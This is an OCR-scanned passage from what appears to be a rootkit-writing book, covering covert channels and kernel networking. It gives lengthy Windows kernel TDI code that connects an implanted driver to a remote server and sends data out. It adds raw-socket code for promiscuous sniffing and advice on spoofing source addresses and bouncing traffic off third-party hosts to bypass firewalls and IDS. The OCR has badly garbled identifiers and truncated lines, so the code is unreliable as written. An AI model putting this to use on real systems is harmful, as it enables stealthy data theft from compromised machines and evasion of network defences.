Steganography resources are everywhere on the Internet, including software packages and source code to
hide data within images, .wav files, and even MP3 music files.[”] The field is wide open.



[7] Steghide (http://steghide.sourceforge.net).

Use Other TCP/IP Channels

Other forms of packets have been used as covert channels by hackers, including ICMP packets. For fun,
one person has even created an ICMP covert channel to transmit "ASCII art" (a crude form of artwork
using printable characters).[8l One popular tool that uses ICMP to transfer datais known as Loki.[%] Loki
has very likely been a starting point for many custom modifications. Kernel-rootkit technology has also
been developed that can exfiltrate captured keystrokes using | CM P responses.[10]

(8] D. Opacki, ECHOART, available at: http:/mirrorl.internap.com/echoart/

(91 Daemon9 and Alhambra, "Project Loki: ICMP Tunneling," Phrack/7, no. 49, Article 6 (8 November 1996), available
at: www.phrack.org/phrack/49/P49-06

(19 See B. Jack, "Remote Windows Kernel Exploitation: Step into the Ring 0" (Aliso Vigjo, Cal.: eEye Digital Security,
2005), available at: www.eeye.com/~data/publish/whitepapers/research/OT20050205.FI LE. pdf

Some amount of public research is available on using the TCP/IP protocol for covert channels.[11 |n this
section we have outline several ways you can use the protocol to hide datain transit.

[11] For example, see C. Rowland, "Covert Channels in the TCP/IP Protocol Suite," First Monday/2, no. 5, (5 May 1997),
available at: www.firstmonday.org/issues/issue2 5/rowland/

In addition to the locations already discussed, data fields that are optional or not used in normal
operations become prime candidates for carrying covert data. In the |P header, the IP Identification field
can be used in thisway. For TCP, the initial sequence number and the acknowledgement sequence
number can be used as covert-data carriers.
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Kernel TCP/IP Support for Your Rootkit Using TDI

All thistalk about TCP/IP naturally leads us to some code. In a Microsoft Windows environment, you
basically have two modes in which to write networking code: user mode and kernel mode . The
advantage of user mode isthat it's easier, but adownside isthat it's more visible. With kernel mode, the
advantage is more stealth, but the downside is complexity. In the kernel, you don't have as many built-in
functions available to you and you must do more stuff "from scratch.” In this section, we focus primarily
on the kernel-mode approach.

In a kernel-mode approach, the two major interfaces are TDI and NDIS. TDI has the advantage of using
the existing TCP/IP stack on the machine. This makes using TCP/IP easier, because you don't have to
write your own stack.

On the other hand, a desktop firewall can detect a TCP/I P-embedded communication. With NDIS, you
can read and write raw packets to the network and can bypass some firewalls, but on the downside you
will need to implement your own TCP/IP stack if you want to use the protocol.

Build the Address Structure

Y our rootkit livesin a networked world, so naturally, it should be able to communicate with the
network. Unfortunately, the kernel doesn't offer easy-to-use TCP/IP sockets. Libraries are available, but
these are commercia packages that cost money. They might also be traceable. Y ou don't need these
expensive packages to use TCP/IP in the kernel, of course, but they may be the easiest solutions.

For the do-it-yourself programmer, thereisakernel library that supports TCP/IP functionality, and you
can work with it from a kernel-mode device driver. Device drivers can call functionsin other drivers;
this how you can use TCP/IP from your rootkit.

The TCP/IP services are available from a driver which exposes several devices that have names like
/ devi ce/ tcp and/ devi ce/ udp . Sound interesting? It is if you need a sockets-like interface from kernel
mode.

The Transport Data Interface (TDI) is aspecification for talking to a TDI-compliant driver. We are
concerned with the TDI-compliant driver in the Windows kernel that exposes TCP/IP functionality.
Unfortunately, as of thiswriting there is no decent example code or documentation you can download to
illustrate how to use this TCP/IP functionality. One problem with TDI isthat it's so flexible and generic
that most documentation on the subject is broad and confusing.

In our discussion focusing on TCP/IP, we have created an example that will ease you into TDI
programming.

Thefirst step in programming a TDI client isto build an address structure. The address structure is very
much like the structures used in user-mode socket programming. In our example, we make a request to
the TDI driver to build this structure for us. If the request is successful, we are returned a handle to the
structure. Thistechnique is very common in the driver world: Instead of allocating the structure
ourselves, we make arequest to another driver, which then builds the structure for us and returns a
handle (pointer) to the structure.



To build an address structure, we open afile handleto/ devi ce/ t cp , and we pass some special
parametersto it in the open call. The kernel function we useis called ZwCreateFile. The most important
argument to this call is the extended attributes (EA).[22] Within the extended attributes, we pass
important and unique information to the driver (see Figure 9-2).

[12] Extended attributes are used mostly by file-system drivers.

Figure 9-2. Driver A makes request to Driver B via the ZwCreateFile call. The extended
attributes structure contains the details of the request. The returned file handle is
actually a handle to an object built by the lower-level driver.

Driver A _ — Driver B

| ZwCreatefFile( T ) |

i Extended |
| Attributes |
: Structure |

' Return

! handle to |
<+ requested ———
object

[]
(]
L '

This is where some documentation can be helpful. The use of the extended attributes argument is unique
and specific to the driver in question. In this case, we are to pass information about the IP address and
TCP port we want to use for covert communication. The Microsoft DDK documents this, although the
documentation isn't very straightforward, and there is no example code.

The extended-attribute argument is a pointer to a structure. The structure is of type
FILE_FULL_EA_INFORMATION. This structure is documented in the DDK.

The structure looks like this:

typedef struct _FILE FULL EA | NFORVATI ON

{



ULONG NextEntryO fset;
UCHAR FI ags;

UCHAR EaNanelLengt h;
USHORT EaVal uelLengt h;
CHAR EaNane[1];

} FILE_FULL_EA | NFORMATI ON, *PFI LE_FULL_EA | NFORMATI ON;

Create a Local Address Object

Now it's time to create an address object. The address object is associated with an endpoint so that
communication can begin. The address object is constructed using the extended attributes field of the
ZwCreateFile call. Thefilename used inthiscall is\ Devi ce\ Tcp :

#defi ne DD _TCP_DEVI CE_NAME L"\\ Devi ce\\ Tcp"
UNI CODE_STRI NG TDI _Transport Devi ceNane;
/1 Build Unicode transport device nane.
Rt 1 nitUnicodeString(&TDl _Transport Devi ceNane,

DD TCP_DEVI CE_NAME ) ;

Next we initialize the object attributes structure. The most important part of this structure isthe
transport-device name. We also specify that the string should be treated as case-insensitive. If the target
system is Windows 2000 or greater, we should also specify OBJ KERNEL_HANDLE.

It isaways good practice to ASSERT the required IRQ level for the call you're making. Thisallows
your debug version of the driver to throw an assertion if you have not managed your IRQ levels

properly.

OBJECT_ATTRI BUTES TDl _Cbject Attr;
/'l Create object attribs.

/1 Must be called at PASSI VE LEVEL.



ASSERT( KeGetCurrentlrgl () == PASSI VE_LEVEL );
InitializeObjectAttributes(&TDl _Object Attr,
&TDI _Transport Devi ceNane,
OBJ_CASE_| NSENSI TI VE | OBJ_KERNEL_HANDLE,
0,

0);

Next we encounter the extended attributes structure. We specify a buffer large enough to hold the
structure plus the TDI address. The structure has a NextEntryOffset field, which we set to zero to
indicate that we are sending only one structure in the request. Thereisalso afield called EaName, which
we set to the constant TDI_ TRANSPORT _ADDRESS. This constant is defined as the string
"TransportAddress' in TDI.h.

TheFILE FULL _EA INFORMATION structure lookslike this:

typedef struct _FILE _FULL_EA | NFORVATI ON

{

ULONG NextEntryO fset;

UCHAR Fl ags;

UCHAR EaNanelLengt h;

USHORT EaVal uelLengt h;

CHAR EaNane[1]; == set this to TDI _TRANSPORT_ ADDRESS
foll owed by an TA | P_ADDRESS

} FILE_FULL_EA | NFORMATI ON, *PFI LE_FULL_EA | NFORMATI ON;

And the code that initializes it:

char EA Buffer[sizeof (FILE FULL _EA | NFORVATI ON) +



TDI _TRANSPORT ADDRESS LENGTH + si zeof (TA | P_ADDRES!
PFI LE_FULL_EA | NFORVATI ON  pEA Buffer = (PFILE_FULL_EA | NFORVATI ON)
pEA Buffer->NextEntryOifset = O;

pEA Buffer->Fl ags = O;

The EaNameL ength field receivesthe TDI_TRANSPORT_ADDRESS LENGTH constant. Thisisthe
length of the TransportAddress string minus the NULL terminator. We are sure to copy the entire string,
including the NULL terminator, when we initialize the EaName field:

pEA Buf f er - >EaNanmeLengt h = TDI _ TRANSPORT_ ADDRESS LENGTH;
nmencpy( pEA _Buf f er - >EaNane,
Tdi Transport Addr ess,

pEA Buf f er- >EaNaneLength + 1

);

The EavaueisaTA_TRANSPORT_ADDRESS structure that contains the local host |P address and
the local TCP port to be used for the connection. It contains one or more TDI_ADDRESS |P structures.
If you are familiar with user-mode socket programming, you can think of the TDI_ADDRESS |IP
structure as the kernel equivalent of the sockaddr_in structure.

It is best to let the underlying driver choose alocal TCP port for you. Thisway, you never haveto
manage determining which ports are already in use. The only time the source port needs to be controlled
iIswhen connecting over afirewall that has filtering rules that can be defeated using a specific source
port (port 80, 25, or 53).

We perform some pointer arithmetic to point to the EaValue location so that we can write the data. The
pSin pointer makesit easy for us. We must be sure to set the EaValuel ength field to the correct size.

The TA_IP_ADDRESS structure looks like this:

t ypedef struct _TA ADDRESS I|IP {

LONG TAAddr essCount ;



struct _Addrilp {
USHORT Addr essLengt h;
USHORT Addr essType;
TDI _ADDRESS | P Address[1];

} Address [1];

} TA | P_ADDRESS, *PTA | P_ADDRESS;

And the code that initializesit:

PTA | P_ADDRESS pSi n;

pEA Buf f er - >EaVal ueLengt h = si zeof (TA | P_ADDRESS) ;

pSin = (PTA_| P_ADDRESS) ( pEA Buf f er->EaNane +

pEA Buf f er - >EaNaneLength + 1);

pSi n- >TAAddr essCount = 1;

pSi n- >Addr ess[ 0] . AddressLength = TDI _ADDRESS LENGTH | P;

pSi n- >Addr ess[ 0] . AddressType = TDI _ADDRESS TYPE | P;

Note: In order to get the underlying driver to choose a source port for us, we supply a desired source port
of zero. Be sureto close your ports when you are done with them, or the system will eventually run out
of ports! We also set the source address to 0.0.0.0 so that the underlying driver will fill in the local host
|P addressfor us:

pSi n- >Addr ess[ 0] . Address[ 0] .sin_port = O;

pSi n- >Addr ess[ 0] . Address[ 0] .in_addr = O;

/! Ensure renmi nder of structure is zeroes.

menset ( pSi n- >Addr ess[ 0] . Address[ 0] . sin_zero,



0,
si zeof (pSi n- >Addr ess[ 0] . Address[ 0] . sin_zero)

);

After all that setup, we finally make the ZwCreateFile call. Remember to always ASSERT the correct
IRQlevel.

NTSTATUS st at us;
ASSERT( KeCGetCurrentlrgl () == PASSIVE_LEVEL );
status = ZwCreat eFi | ¢(
&TDI _Address_Handl e,
GENERI C_READ| GENERI C_WRI TE| SYNCHRONI ZE,
&TDI _(nj ect _Attr,
&l oSt at us,
0,
FI LE_ATTRI BUTE_NORVAL,
FI LE_SHARE_READ,
FI LE_OPEN
0,
pEA Buffer,

si zeof (EA Buffer)

)i

i f (! NT_SUCCESS( st at us))

{

DogPrint ("Failed to open address object,



status Ox%©8X",

status);

[/ TODO free resources

return STATUS UNSUCCESSFUL;

We also get ahandle to the object we just built. Thisis used in later function calls.

ASSERT( KeGet Currentlrql () == PASSI VE_LEVEL );
status = (bRef erenceObj ect ByHandl e( TDI _Addr ess_Handl e,
FI LE_ANY_ACCESS,
0,
Ker nel Mode,
(PVO D *) &Addr Fi | eObj ,

NULL );

That's it! We have now built an address object.

That was alot of code for such a simple operation. However, once you get used to it, the process
becomes routine.

The next sections show how to associate the address object with an endpoint and then to finally connect
to aserver.

Create a TDI Endpoint with Context

Creating a TDI endpoint requires another call to ZwCreateFile. The only change we make to our call is
the location pointed to in our "magic" EA_Buffer. Y ou can see that most of the arguments are passed in
the EA structure. Our EA buffer should contain a pointer to a user-supplied structure known as the



context structure . In our example, we set the context to adummy value, because we aren't using it.

TheFILE FULL _EA INFORMATION structure lookslike this:

typedef struct _FILE FULL_EA | NFORMATI ON {

ULONG NextEntryO fset;

UCHAR Fl ags;

UCHAR EaNanelLengt h;

USHORT EaVal uelLengt h;

CHAR EaNane[1]; == set this to "ConnectionContext"
followed by a pointer to a user-

defined structure.

} FILE_FULL_EA | NFORMATI ON, *PFI LE_FULL_EA | NFORMATI ON;

And the code that initializes it:

[l Per Catlin, mcrosoft. public.devel opnent. device.drivers,
/[l "question on TDI client, please do help," 2002-10-18.
ul Buffer =

FI ELD_OFFSET( FI LE_FULL_EA | NFORVATI ON, EaNane) +

TDI _CONNECTI ON_CONTEXT_LENGTH + 1 +

si zeof ( CONNECTI ON_CONTEXT) ;

pEA Buffer = (PFILE_FULL_EA | NFORVATI ON)
ExAl | ocat ePool ( NonPagedPool , ul Buffer);
i f (NULL==pEA Buffer)

{



DogPrint("Failed to allocate buffer");

return STATUS_| NSUFFI CI ENT_RESCURCES;

/'l Use nanme Tdi ConnectionContext, which
/1l is a string == "ConnectionContext":
nmenset (pEA Buffer, 0O, ulBuffer);
pEA Buffer->NextEntryOifset = O;
pEA Buffer->Fl ags = 0;
/1 Don't include NULL in |ength.
pEA Buf f er- >EaNanmeLengt h = TDI _CONNECTI ON_CONTEXT_LENGTH,;
mentpy ( pEA Buf f er - >EaNane,
Tdi Connect i onCont ext
/1 DO include NULL term nator in copy.

pEA Buf f er->EaNaneLength + 1

)i

The connection context is a user-supplied pointer. It can point to anything. Thisistypically used by
driver developersto track the state associated with the connection. CONNECTION_CONTEXT isa
pointer to a user-supplied structure. Y ou can put whatever you want in your context structure.

Since we are dealing with only a single connection in our example, we don't need to keep track of
anything, so we set the context to adummy value:

pEA Buf f er - >EaVal ueLengt h = si zeof ( CONNECTI ON_CONTEXT) ;

Pay close attention to the very detailed pointer arithmetic in this statement:



* ( CONNECTI ON_CONTEXT*) (  pEA _Buf f er - >EaNane +
(pEA Buf f er->EaNaneLength + 1))
= ( CONNECTI ON_CONTEXT)

cont ext Pl acehol der;

[l ZwCreateFile nmust run at PASSI VE LEVEL.

ASSERT( KeGetCurrentlrqgl () == PASSI VE LEVEL );

status = ZwCreateFi | e(

&TDI _Endpoi nt _Handl e,
GENERI C_READ| GENERI C_WRI TE| SYNCHRONI ZE,
&TDI _Object Attr,
&l oSt at us,

0,

FI LE_ATTRI BUTE_NORMAL,

FI LE_SHARE_READ,

FI LE_OPEN,

0,

pEA Buffer,

si zeof (EA Buffer)

)i

I f (! NT_SUCCESS( st at us))

{
DbgPrint ("Failed to open endpoint, status Ox%8X', status);

/]l TODO, free resources



return STATUS UNSUCCESSFUL;

/'l CGet object handle.
/1 Miust run at PASSI VE_LEVEL.
ASSERT( KeGet Currentlrql () == PASSI VE_LEVEL );
status = (CbRef erenceObj ect ByHandl e(
TDI _Endpoi nt _Handl e,
FI LE_ANY_ACCESS,
0,
Ker nel Mode,
(PVA D *) &ConnFi | ebj ,
NUL L

)

Now that we have created an endpoint object, we must associate it with alocal address. We have already
created alocal address object, so now we simply associate it with the new endpoint.

Associate an Endpoint with a Local Address

Having created both an endpoint object and alocal address object, our next step is to associate them. An
endpoint is worthless without an associated address. The address tells the system which local port and IP
address you wish to use. In our example, we have configured the address so that the system will choose
alocal port for us (similar to the way you expect a socket to work).

Communication with the underlying driver will take place using IOCTL IRPs from this point forward.
For each function we wish to call, we must first craft an IRP, fill it with arguments and data, and then
pass it down to the next-lowest driver viathe loCallDriver() routine. After we pass each IRP, we must
wait for it to complete. To do this, we use a completion routine. An event shared between the
completion routine and the rest of our code allows usto wait for processing to complete.



/'l CGet the device associated with the address object -
/1l in other words, a handle to the TDI driver's

/1 device object

/1 (e.g., "\Driver\SYmMro").

pTcpDevObj = | 0Cet Rel at edDevi ce(bj ect (pAddrFi |l e(hj);

/] Used to wait for an | RP bel ow.

KelnitializeEvent (&Associ at eEvent, Notificati onEvent, FALSE);

// Build an |RP to nmake the association call.
pl rp = Tdi Buil dl nt er nal Devi ceControl I rp(

TDlI _ASSCCl ATE_ADDRESS,

pTcpDevQbj , [/ TDI driver's device object
pConnFi | eQbj , /| connection (endpoint) file «
&Associ at eEvent , [/l event to be signalled when

/1 I RP conpl etes &l oSt atus

/1l 1/0O status bl ock

);

I f (NULL==pl r p)
{
DogPrint( "Could not get an IRP for
TDI _ASSOC| ATE_ADDRESS") ;
return( STATUS_| NSUFFI Cl ENT_RESOURCES) ;

}

/] adds sone npre data to the IRP



Tdi Bui | dAssoci at eAddr ess(
plrp,
pTcpDevQbj ,
pConnFi | e(bj
NULL,
NULL,

TDl _Address_Handl e );

/1 Send a command to the underlying TDI driver.
/'l This is the essence of our conmunication

/'l channel to the underlying driver.

/1 Set our own conpletion routine.

/1 Must run at PASSI VE LEVEL.

ASSERT( KeGetCurrentlrqgl () == PASSI VE_LEVEL );

| 0Set Conpl eti onRout i ne(
plrp,
TDI Conpl eti onRout i ne,

&Associ at eEvent, TRUE, TRUE, TRUE);

/'l NMake the call.

/1 Must run at <= DI SPATCH LEVEL.

ASSERT( KeGet Currentlrql () <= DI SPATCH LEVEL );
status = loCal | Driver(pTcpDevQbj, plrp);

/1 Wait on the IRP, if required.

i f (STATUS_PENDI NG==st at us)



DbgPrint ("Waiting on IRP (associate)...");

/1 Must run at PASSI VE LEVEL.
ASSERT( KeGetCurrentlrqgl () == PASSIVE_LEVEL );
KeWai t For Si ngl ehj ect (

&Associ at eEvent,

Executi ve,

Ker nel Mode,

FALSE, 0);

if ( (STATUS_SUCCESS! =st at us)
&&

( STATUS_PENDI NG =st at us))

{
/1 Something is wong.
DogPrint("loCallDriver failed (associate),
status 0Ox%08X", status);
return STATUS UNSUCCESSFUL;
}

i f ((STATUS_PENDI NG==st at us)
&&

( STATUS_SUCCESS! =l oSt at us. St at us))



/1 Something is wong.
DogPrint ("Conpl etion of IRP failed (associate), status Ox%08X",
| oSt at us. St at us) ;

return STATUS UNSUCCESSFUL;

Connect to a Remote Server (Send the TCP Handshake)

Now that alocal address is associated with the endpoint, we can create a connection to a remote address.
The remote address is the | P address and port to which we want to connect. In our example, we connect
to port 80 on IP address 192.168.0.10. Again, we use the completion routine to wait for the IRP to
complete. When we call the lower driver, we should expect to see a TCP three-way handshake on the
network. We can verify thiswith a packet sniffer.

KelnitializeEvent (& onnect Event, NotificationEvent, FALSE);

// Build an IRP to connect to a renote host.

plrp =
Tdi Bui | dl nt er nal Devi ceControl I rp(

TDI _ CONNECT,
pTcpDevQyj , [/ TDI driver's device object
pConnFi | e(oj /'l connection (endpoint) file object
&Connect Event , /'l event to be signalled

/'l when | RP conpl etes
&l oSt at us /1 1/0 status bl ock

I f (NULL==pl r p)



DbgPrint ("Could not get an I RP for TDI _CONNECT");

ret urn( STATUS_| NSUFFI Cl ENT_RESCURCES) ;

/!l Initialize the |IP address structure.

Renot ePor t HTONS( 80) ;

Renot eAddr

| NETADDR( 192, 168, 0, 10) ;

Rnt | PAddr . TAAddr essCount = 1,

Rnt | PAddr . Addr ess[ 0] . AddressLength = TDI _ADDRESS LENGTH | P;
Rt | PAddr . Addr ess[ 0] . AddressType = TDI _ADDRESS TYPE | P;

Rt | PAddr . Addr ess[ 0] . Address[ 0] .sin_port = RenotePort;

Rt | PAddr . Addr ess[ 0] . Address[ 0] .i n_addr = Renot eAddr;

Rnt Node. User Dat aLength = O;

Rnt Node. User Data = O;

Rmt Node. Opti onsLength = O;

Rmt Node. Opti ons = O;

Rmt Node. Renot eAddr essLengt h = si zeof (Rt | PAddr) ;

Rnt Node. Renpt eAddr ess = &Rnt | PAddr ;

// Add the I P connection data to the | RP.
Tdi Bui | dConnect (

plrp,
pTcpDevbj , /1l TDI driver's device object



pConnFi | eQbj, // connection (endpoint) file object

NULL, /1 1/0O conpletion routine

NULL, /'l context for 1/O conpletion routine
NULL, /| address of tineout interval

&Rnt Node, /'l renote-node client address

0 /1 (output) renote-node address

)i

/1 Set our own conpletion routine.

/1 Must run at PASSI VE LEVEL.

ASSERT( KeGet Currentlrql () == PASSI VE LEVEL );

| 0Set Conpl eti onRout i ne(

plrp,
TDI Conpl eti onRout i ne,
&Connect Event, TRUE, TRUE, TRUE);

/'l NMake the call.

/1 Must run at <= DI SPATCH LEVEL.

ASSERT( KeGet Currentlrql () <= DI SPATCH LEVEL );
/1 Send the command to the underlying TD driver.
status = loCallDriver(pTcpDevQbj, plrp);

/1 Wait on the IRP, if required.
I T (STATUS_PENDI NG==st at us)
{
DbgPrint ("Waiting on IRP (connect)...");
KeWi t For Si ngl ebj ect ( &Connect Event
Executi ve,

Ker nel Mode, FALSE, 0);



}
I f ( (STATUS_SUCCESS! =st at us)

&&

( STATUS_PENDI NG =st at us))

{
/'l Something is wong.
DogPrint("loCall Driver failed (connect), status Ox%98X"', status);
return STATUS UNSUCCESSFUL;

}

if ( (STATUS_PENDI NG==st at us)
&8

( STATUS_SUCCESS! =l oSt at us. St at us))

{
/1 Something is wong.
DogPrint ("Conpletion of IRP failed (connect), status 0x%8X", |o!
return STATUS_UNSUCCESSFUL;

}

It should be noted that the TCP connection can take some time to complete. Since we might be waiting
on our completion event for along while, and we should never block the thread when we arein
DriverEntry, our example would be unsuitable for use in an actual rootkit. In the real world, you will
need to rearchitect the driver so that aworker thread handles the TCP activity.

Send Data to a Remote Server

To compl ete the example, we will create instructions to send some data to the remote server. Again, this
is performed using an IRP and await event. We first allocate some memory for the data to be sent to the
remote server. We also lock this memory so that it will not be paged to disk.



KelnitializeEvent (&SendEvent, Notificati onEvent, FALSE);

SendBfrLength = strlen(SendBfr);

pSendBuf f er = ExAl | ocat ePool ( NonPagedPool , SendBf rLengt h) ;

mencpy(pSendBuffer, SendBfr, SendBfrLength);

// Build an IRP to connect to a renpte host.

plrp = Tdi Bui I dl nternal Devi ceControl I rp(

TDI _SEND,

pTcpDevQbj , /1 TDI driver's device object
pConnFi | eoj , /'l connection (endpoint) file ol
&SendEvent , /'l event to be signalled when I1
&l oSt at us /1 110 status bl ock

)
I f (NULL==pl r p)
{
DbgPrint ("Could not get an IRP for TDI _SEND");

ret urn( STATUS_I NSUFFI ClI ENT_RESOURCES) ;

/[l This code is necessary if buffer is in the paged pool.

/1 Must run at <= DI SPATCH _LEVEL.

/| * ASSERT( KeGetCurrentlrgl () <= DI SPATCH LEVEL );

pMidl = 10Al |l ocat eMll (pSendBuffer, SendBfrLength, FALSE, FALSE, plrp)

i f (NULL==pMdI )



DbgPrint ("Could not get an MDL for TDI _SEND");

r et ur n( STATUS_| NSUFFI CI ENT_RESOURCES) ;

/1 Must run at < DI SPATCH LEVEL for pageabl e nenory.

ASSERT( KeGet Currentlrql () < DI SPATCH LEVEL );

__try
{
MPr obeAndLockPages(
pMll , Il (Try to) fix buffer.
Ker nel Mode,
| oModi f yAccess );
}
__except ( EXCEPTI ON_EXECUTE_HANDLER)
{
DogPrint ("Exception calling MProbeAndLockPages");
return STATUS UNSUCCESSFUL
}

/ *Tdi Bui | dSend(

plrp,

pTcpDevoj , /1 TDI driver's device object
pConnFi | ej , /'l connection (endpoint) file object
NULL, /1 1/0O conpletion routine

NULL, /'l context for 1/O conpletion routine



pMl , /'l NDL address
0, /'l Flags. 0 => send as normal TSDU.
SendBf r Lengt h /'l 1ength of buffer nmapped by MDL
)

/1l Set our own conpletion routine.

/1 Must run at PASSI VE LEVEL.

ASSERT( KeGetCurrentlrgl () == PASSI VE_LEVEL );

| oSet Conpl et i onRout i ne(
plrp,
TDI Conpl eti onRout i ne,

&SendEvent, TRUE, TRUE, TRUE);

/'l Make the call.

/1 Must run at <= DI SPATCH LEVEL.

ASSERT( KeGetCurrentlrqgl () <= DI SPATCH LEVEL );
/1 Send the command to the underlying TDI driver.

status = loCall Driver(pTcpDevObj, plrp);

/1 Wait on the IRP, if required.
I T (STATUS_PENDI NG==st at us)
{
DogPrint("Waiting on IRP (send)...");
KeWai t For Si ngl ehj ect (
&SendEvent ,

Executive, Kernel Mode, FALSE, 0);



I f ( (STATUS_SUCCESS! =st at us)
&&

( STATUS_PENDI NG =st at us) )

{
/1 Something is wong.
DogPrint("loCallDriver failed (send), status Ox%8X', status);
return STATUS UNSUCCESSFUL;

}

i f ((STATUS_PENDI NG==st at us)
&8

( STATUS_SUCCESS! =l oSt at us. St at us))

{
/1 Something is wong.
DogPrint ("Conpletion of IRP failed (send), status Ox%8X', |oStat
return STATUS UNSUCCESSFUL;

}

Again, the data-sending operation may take time to complete, so in areal-world driver, you would not
want to block in the DriverEntry routine.

At this point, we've incorporated kernel support into our rootkit using TDI. This method is useful since
the TDI layer handles the TCP/IP protocol for us. The downsideisthat it cannot easily evade desktop
firewalls. It also doesn't allow usto perform low-level manipulation of packets. In the next section, we
discuss strategies for raw packet manipulation.



Raw Network Manipulation

When using a kernel rootkit, you will typically have access to the device drivers that control the network
card. This means you can read and write raw frames from and to the network. With araw frame, you can
control all parts of the protocolin other words, the parts of the communication that control routing and
Identification. For example, with raw frames you can control your Ethernet address (MAC address),
TCP source port, and source | P address. With raw frames, you are not dependent on the infected host's
TCP/IP stack. This can be useful, enabling you to better hide the source of communication. More
importantly, it can alow you to bypassfirewallsand IDS systems.

To get started, we cover raw packet manipulation from a user-mode program. Although thisbook is
about kernel rootkits, we felt it would be easier for you to learn about and practice with raw packets and
protocol manipulation in a user-mode program. We cover raw packet manipulation in the kernel later in
the chapter.

Implementing Raw Sockets on Windows XP

For along time, Microsoft didn't offer araw sockets interface. This forced developersto use driver-level
technology to do anything "cute”" (for example, spoofing packets) with the TCP/IP stack. Now that raw
sockets have been made available in Windows, rootkit authors can forge packets from user mode.

If asystemisrunning XP service pack 2 (SP2), the functionality of raw socketsis limited. Probably in
response to Internet worms, Microsoft chose to limit the power of raw sockets with SP2. If SP2is
installed, you cannot craft raw TCP frames (for example, you cannot run a SY N Scan). Y ou can write
raw UDP frames, but you cannot spoof the source address. And, SP2 makesit difficult to create a port
scanner: If you attempt afull TCP-connection scan, you will be rate-limited.

Raw sockets are opened the same way ordinary sockets arethey just function a bit differently. Aswith all
sockets programs for Windows, the first step is to initialize Winsock using WSA Startup():

WBADat a wsabDat a;
I f (WBASt art up( MAKEWORD( 2, 2), &wsabata) != 0)
{
printf("WsAStartup() failed.\n");

exit(-1);

Next, you must open a socket using the socket() function. Note the use of the constant, SOCK_RAW. If



this succeeds, you will now have araw socket you can use to sniff packets and send raw packets.

SOCKET nySocket = socket (AF_I NET, SOCK_RAW | PPROTO | P);

i f (mySocket == | NVALI D_SOCKET)
{
printf("socket() failed.\n");
exit(-1);
}

Binding to an Interface

A raw socket is not operational until it has been bound to an interface. To bind, you must specify the IP
address of the local interface you wish to bind to. In most cases you will want to determine the local |P
address dynamically. The following code obtains the local |P address and storesit within the in_addr
structure:

/' Di scover Hostnane/lP.
char ac[ 255];
struct in_addr addr;
I f (gethostnane(ac, sizeof(ac)) != SOCKET_ ERROR)
{
struct hostent *phe = gethost bynane(ac);
i f(phe !'= NULL)
{
nmencpy( &addr,
phe->h_addr list[O0O],

si zeof (struct in_addr));



Once the local address has been obtained, the sockaddr structure must be initialized and the bind() call

performed:

struct sockaddr in SockAddr;

menset ( &SockAddr, 0, sizeof (SockAddr));

SockAddr. sin_addr.s_addr = addr.s_addr;
SockAddr.sin _famly = AF_I| NET;
SockAddr.sin_port = 0;

It (bind( nmySocket, (sockaddr *)&SockAddr,
{
printf("bind failed.\n");

exit(-1);

Sniffing with Raw Sockets

si zeof ( SockAddr))

To sniff, al you must do isto begin reading packets from the wire using a call to recvfrom(). In this
example code, we read a maximum of 12,000 bytesinto a packet. The read loop continues until the

program breaks or an error occurs.

struct sockaddr in fromAddr;
I nt nunByt esRecv;

i nt fromAddrLen = sizeof (fromAddr);

S



for(;;)

{
nmenset (& romAddr, 0, fromAddrLen);
nunByt esRecv = recvfron(
nmy Socket ,
nmyRecvBuUf f er,
12000,
0,
(struct sockaddr *)&fromAddr, &fromAddr
i f (nunBytesRecv > 0)
{
/1 Do sonmething with the packet.
}
el se
{
/'l recvfromfailed
br eak;
}
}

free(nyRecvBuffer);

Promiscuous Sniffing with Raw Sockets

Raw sockets will not automatically sniff all packets on the network. By default, they sniff only those



packets destined for the local host. Engaging in promiscuous sniffing requires the use of an IOCTL call.
Such a call can be made using WSAIl octl():

int input_buffer;

DWORD nunByt esRet ur ned,;

I f ( WAl octl (nySocket,
SI O_RCVALL,
& nput _buffer,
si zeof (i nput _buffer),
NULL,
NULL,
&nunByt esRet ur ned,
NULL,

NULL) == SOCKET ERROR)

printf("WsAloctl () failed.\n");

exit(-1);

After thiscall, the raw socket will sniff all packets on the network, regardless of destination address.
Keep in mind that on switched networks, only broadcast packets and packets destined for the local host
are available. The use of ahub makes all packets available. Another option isto configure a spanned
port[13] on the switch.

[13] A spanned port is aspecial port on a switch that can be used to sniff traffic.

In areal-world deployment of arootkit, however, these options might not be available. If you require
sniffing of aremote host on the same subnet, then ARP hijacking(14 may be one of your few options.
"Etherleak" sniffing may be another.[15]

(141 ARP hijacking allows you to capture traffic over a switched network, and cause packets to be routed through a



middleman host. The topic iswell covered in the public domain.

[15] See O. Arkin and J. Anderson, "Etherleak: Ethernet Frame Padding Information L eakage” (
www.atstake.com/research/advisories/2003/atstake_etherleak report.pdf

Sending Packets with Raw Sockets

Sending araw packet is very easy using the sendto function:

sendt o(t heSocket ,
(char *)packet,
si zeof (struct iphdr)+sizeof (struct tcphdr)+datasi ze,
0,
(struct sockaddr *)theAddressP,

si zeof (struct sockaddr));

Now we have al the tools required to send and receive raw packets. Let's explore some of the things we
can do with them.

Forging the Source

Controlling the source port can be important for firewalls. Many firewalls have special rulesthat allow
communication if the source port isDNS, SMTP, or WWW (53, 25, or 80, respectively). Bypass rules
such as these may be useful for getting data out of any network. In some cases, certain source |P
addresses must be used. For example, afirewall may allow al outbound traffic from the Web server,
source ports 80 and 443. Knowing this, arootkit can be designed to forge packets with afalse identity:
that of the Web server. Using the correct source port and source I P, the traffic will be allowed over the
firewall and out of the network.

Bouncing Packets

The last method of raw network manipulation we'll cover isthat of bouncing packets, an interesting
effect that can be obtained by controlling the source IP address. The rootkit can forge a source | P address
that refersto an external machineone outside of the network. The forged source address can belong to a
real computer controlled by a hacker somewhere on the Internet. The rootkit can send these source-
forged packets to some innocent third party, such as a popular Web server. The third-party Web server
then sends response packets to the forged source addressthe computer controlled by the hacker. Thisisa
complicated form of bounce attack that allows arootkit to send traffic in one direction without revealing
its location.[16]



[16] Of course, sending two-way traffic would reveal the hacker's location. The target address of the one-way method is
revealed by simply looking at the forged source address.

For example, arootkit could send a TCP SY N packet with aforged source IP. The TCP SY N packet
could contain covert data encoded in the initial sequence number. The third-party Web server would
respond to the SYN with a SYN-ACK, placing theinitial sequence number (plus one) in the response
packet. Thus, a one-way communication mechanism is born.

Another effect of using bounced traffic is that you might be able to bypass firewalls. If arootkit is
installed in avery sensitive network that allows traffic from only certain trusted hosts, commands could
be sent to the rootkit by bouncing off of these trusted hosts. The use of a bounce host should be managed
carefully, though: Sometimes DNS will resolveto afarm of hosts, and you will unwittingly be using a
